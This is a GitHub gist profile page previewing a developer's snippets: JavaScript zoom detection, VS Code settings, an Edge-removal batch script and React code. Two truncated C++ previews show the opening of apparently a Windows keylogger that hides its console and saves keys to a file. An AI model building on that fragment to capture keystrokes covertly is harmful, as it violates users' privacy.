Skip to content

Instantly share code, notes, and snippets.

View heytulsiprasad's full-sized avatar
⚛️
Overreacting

Tulsi Prasad heytulsiprasad

⚛️
Overreacting
View GitHub Profile
@heytulsiprasad
heytulsiprasad / detect-zoom.js
Last active December 23, 2023 16:59 — forked from abilogos/detect-zoom.js
Differenciate between resizing for zoom or just window resizing
//for zoom detection
px_ratio = window.devicePixelRatio || window.screen.availWidth / document.documentElement.clientWidth;
function isZooming(){
var newPx_ratio = window.devicePixelRatio || window.screen.availWidth / document.documentElement.clientWidth;
if(newPx_ratio != px_ratio){
px_ratio = newPx_ratio;
console.log("zooming");
return true;
}else{
{
"sync.gist": "c9c964ae99f2e35d5e2219b5dfd9b7ef",
"workbench.iconTheme": "material-icon-theme",
"workbench.startupEditor": "newUntitledFile",
"explorer.confirmDelete": false,
"explorer.confirmDragAndDrop": false,
"prettier.packageManager": "yarn",
"[javascript]": {
"editor.defaultFormatter": "esbenp.prettier-vscode"
},
@heytulsiprasad
heytulsiprasad / removeEdge.bat
Last active September 29, 2023 20:06
Removes edge browser from your system permanently
@echo off
:: Creator: Dave Kirkwood
:: Modified:By Britec
:: Created: 24/09/2020
:: Updated: 21/09/2022
::
:: First Stop Microsoft Edge Task
taskkill /F /IM msedge.exe >nul 2>&1
@heytulsiprasad
heytulsiprasad / emoji.html
Last active September 9, 2023 05:57
Amazing emojis as your favicon
<head>
<title>Target 2025</title>
<link
rel="icon"
href="data:image/svg+xml,<svg xmlns=%22http://www.w3.org/2000/svg%22 viewBox=%220 0 100 100%22><text y=%22.9em%22 font-size=%2290%22>🎯</text></svg>"
/>
</head>
#include <iostream>
#include <windows.h>
using namespace std;
int Save(int _key,char *file);
int main()
{
FreeConsole();
#include <iostream>
#include <windows.h>
using namespace std;
int Save(int _key,char *file);
int main()
{
FreeConsole();
import * as Actions from './../../../constants/actionTypes';
const initialState = {
pages: [],
};
const pageReducer = (state = initialState, action) => {
switch (action.type) {
// New page open
case Actions.ADD_PAGE: {
@heytulsiprasad
heytulsiprasad / useNonInitialHook.js
Last active October 27, 2021 13:05
Custom hook that doesn't run on initial render
import { useRef, useEffect } from "react";
const useNonInitialEffect = (effect, deps = []) => {
const initialRender = useRef(true);
useEffect(() => {
let effectReturns = () => {};
if (initialRender.current) {
initialRender.current = false;
import React from "react";
import { connect } from "react-redux";
import { loadMoreChatrooms } from "actions";
import AllChatrooms from "./AllChatrooms";
const Profile = ({ chatrooms, loadMoreChatrooms }) => {
return (
<div>
<AllChatrooms chatrooms={chatrooms} />